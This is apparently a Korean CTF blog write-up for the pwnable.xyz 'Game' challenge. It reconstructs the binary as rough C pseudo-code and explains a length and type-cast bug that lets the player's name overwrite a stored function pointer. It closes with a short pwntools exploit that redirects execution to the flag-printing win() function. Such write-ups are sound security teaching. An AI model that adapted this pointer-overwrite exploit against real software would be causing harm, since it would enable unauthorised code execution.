[pwnable.xyz] Game write up
pwnable.xyz 13번째 Game 문제이다.
ubuntu:~/environment/ctf/pwnable.xyz/13_game $ func challenge
__libc_csu_fini
__libc_csu_init
_fini
_init
_start
edit_name
find_last_save
handler
init_game
main
play_game
print_menu
read_int32
save_game
setup
win
해당 바이너리 안에는 사용자 정의 함수가 많은 것을 볼 수 있다.
Analyze
필자의 분석 환경은 매우 열악해서(IDA를 쓸 수 없는 상황..)
gdb를 통해 해당 바이너리를 분석해서 c로 바꾸어 보았다.
#include <stdio.h>
char saves[40];
char ops = "+-/*";
void init_game(){
saves = malloc(0x20); // 0x603260
cur = find_last_save();
printf("Name: ");
read(0, *(cur+0x0), 0x10);
&(*(cur+0x0))+0x18 = &play_game;
}
void find_last_save(){
int count = 0;
while(1){
if(!saves[count*8]){ // is null
break;
}
count++;
}
count--;
return saves[count*8];
}
void print_menu(){
printf("Score: %d\n", &(*(cur+0x0))+0x10);
printf("Menu:\n1. Play game\n2. Save game\n3. Edit name\n0. Exit");
}
void win(){ // 0x4009d6
system("cat /flag");
}
void save_game(){
int count = 1;
while(count <= 4){
if(!saves[count*8]){ // check is null
saves[count*8] = malloc(0x20); // 0x603290
&(saves[count*8]) = *cur; // 사용자 이름
&(saves[count*8 + 0x08]) = *(*cur+0x08); // 사용자 이름
*(saves[count*8]+0x10) = (long)*(*cur+0x10); // 사용자 점수
*(saves[count*8]+0x18) = &play_game();
cur = saves[count*8];
return;
}
count++;
}
printf("Not enough space.");
}
void edit_name(){
read(0, *cur, strlen(*cur));
}
void play_game(){
int fd = open("/dev/urandom");
char random[12]; // rbp-0x11c
char tmp; // rbp-0x110
if(fd == -1){
printf("Can't open /dev/urandom\n");
exit(1);
}
read(fd, random, 0xc);
close(fd);
/*
0x0000000000400b52 <+136>: movzx eax,BYTE PTR [rbp-0x114]
0x0000000000400b59 <+143>: and eax,0x3
*/
memset(tmp, 0, 0x100); // rbp-0x118
snprintf(tmp, 0x100, "%u %c %u = ", random, ops[*(rbp-0x114) ^ 0x3], random+0x4);
printf("%s", tmp);
// rbp - 0x120
int answer = read_int32();
if(*(rbp-0x114) == 1){ // - sub
if (answer == (random - (random+0x4)) )
cur+0x10 += 1;
else
cur+0x10 -= 1;
}
else if(*(rbp-0x114) == 2){ // / div
if(answer == (random / (random+0x4)) )
cur+0x10 += 1;
else
cur+0x10 -= 1;
}
else if(*(rbp-0x114) == 3){ // * imul
if(answer == (random * (random+0x4)) )
cur+0x10 += 1;
else
cur+0x10 -= 1;
}
else if (*(rbp-0x114) == 0){ // + add
if(answer == (random + (random+0x4)) )
cur+0x10 += 1;
else
cur+0x10 -= 1;
}
}
int main(){
printf("Shell we play a game?\n");
init_game();
while(1){
print_menu();
printf("> ");
int select = read_int32();
if(select == 1){
(&(*(cur+0x0))+0x18)(); // call play_game()
}
else if(select == 2){
save_game();
}
else if(select == 3){
edit_name();
}
else if(select == 0){
exit(1);
}
else{
printf("Invalid.\n");
}
}
}
main 함수를 보면 1을 입력했을 때, 어떤 위치에 있는 주소를 불러 함수를 호출한다.
int main(){
printf("Shell we play a game?\n");
init_game();
while(1){
print_menu();
printf("> ");
int select = read_int32();
if(select == 1)
(&(*(cur+0x0))+0x18)(); // call play_game()
else if(select == 2)
save_game();
else if(select == 3)
edit_name();
else if(select == 0)
exit(1);
else
printf("Invalid.\n");
}
}
전역 변수로 cur, save 변수가 존재하며 구조는 아래와 같다.
0x6020e0 <cur>: 0x0000000000000000 0x0000000000000000
0x6020f0: 0x0000000000000000 0x0000000000000000
0x602100 <saves>: 0x0000000000000000 0x0000000000000000
0x602110 <saves+16>: 0x0000000000000000 0x0000000000000000
0x602120 <saves+32>: 0x0000000000000000
cur 변수는 현재 플래이어의 이름과 점수, play_game 함수의 주소가 저장된 주소를 가르키고,
save 변수는 최대 5번 저장할 수 있는 공간이 있다.
cur 변수에 할당된 곳을 보면,
0x603260 ~ 0x60326f : 사용자의 이름(16bytes)
0x603270 ~ 0x603277 : 사용자의 점수
0x603278 ~ 0x60327f : play_game() 함수의 주소
edit_name() 함수에서 사용자의 이름을 수정할 수 있는데,
길이는 16bytes 가 아닌 현재 *cur 에 있는 문자열의 길이 만큼 입력을 받는다.
즉, 첫 실행때 사용자의 이름을 16bytes 입력하고 => 문제를 일부러 틀리면 점수 영역에 -1(0xffff) 값이 들어간다.
이때, edit_name() 함수를 호출하면, 16bytes + 2bytes = 18bytes 를 입력할 수 있게 된다.
void edit_name(){
read(0, *cur, strlen(*cur));
}
하지만, 점수의 값이 2bytes 여서 play_game() 함수의 주소를 덮을 수 없다.
save_game() 함수를 보면, 10번째에 사용자의 점수를 long으로 형변환 하여 저장하고 있다.
void save_game(){
int count = 1;
while(count <= 4){
if(!saves[count*8]){ // check is null
saves[count*8] = malloc(0x20); // 0x603290
&(saves[count*8]) = *cur; // 사용자 이름
&(saves[count*8 + 0x08]) = *(*cur+0x08); // 사용자 이름
*(saves[count*8]+0x10) = (long)*(*cur+0x10); // 사용자 점수
*(saves[count*8]+0x18) = &play_game();
cur = saves[count*8];
return;
}
count++;
}
printf("Not enough space.");
}
이때 메모리 구조를 보면 아래와 같다.
점수 값이 8bytes로 늘어난 것을 볼 수 있다.
따라서 사용자가 16bytes 이름을 입력하고, 문제를 일부러 틀린 다음, save_game() 을 호출한 다음,
edit_name() 함수를 호출하면 사용자 이름을 16bytes + 8bytes(점수) + 3bytes(함수 주소) = 27bytes를 입력 할 수 있게 된다.
Payload
from pwn import *
p = remote("svc.pwnable.xyz", 30009)
p.sendafter("Name: ", "A"*16)
p.sendlineafter("> ", "1")
p.sendlineafter("= ", "-1")
p.sendlineafter("> ", "2")
p.sendlineafter("> ", "3")
name = "A"*24 + "\xd6\x09\x40"
p.send(name)
p.sendlineafter("> ", "1")
p.interactive()
'🚩CTF' 카테고리의 다른 글
[pwnable.xyz] uaf write up (0) | 2020.02.21 |
---|---|
[pwnable.xyz] fspoo write up (0) | 2020.02.21 |
[pwnable.xyz] l33t-ness write up (0) | 2020.01.31 |
[pwnable.xyz] Jmp table write up (0) | 2020.01.31 |
[pwnable.xyz] TLSv00 write up (0) | 2020.01.28 |
댓글
이 글 공유하기
다른 글
-
[pwnable.xyz] uaf write up
[pwnable.xyz] uaf write up
2020.02.21 -
[pwnable.xyz] fspoo write up
[pwnable.xyz] fspoo write up
2020.02.21 -
[pwnable.xyz] l33t-ness write up
[pwnable.xyz] l33t-ness write up
2020.01.31 -
[pwnable.xyz] Jmp table write up
[pwnable.xyz] Jmp table write up
2020.01.31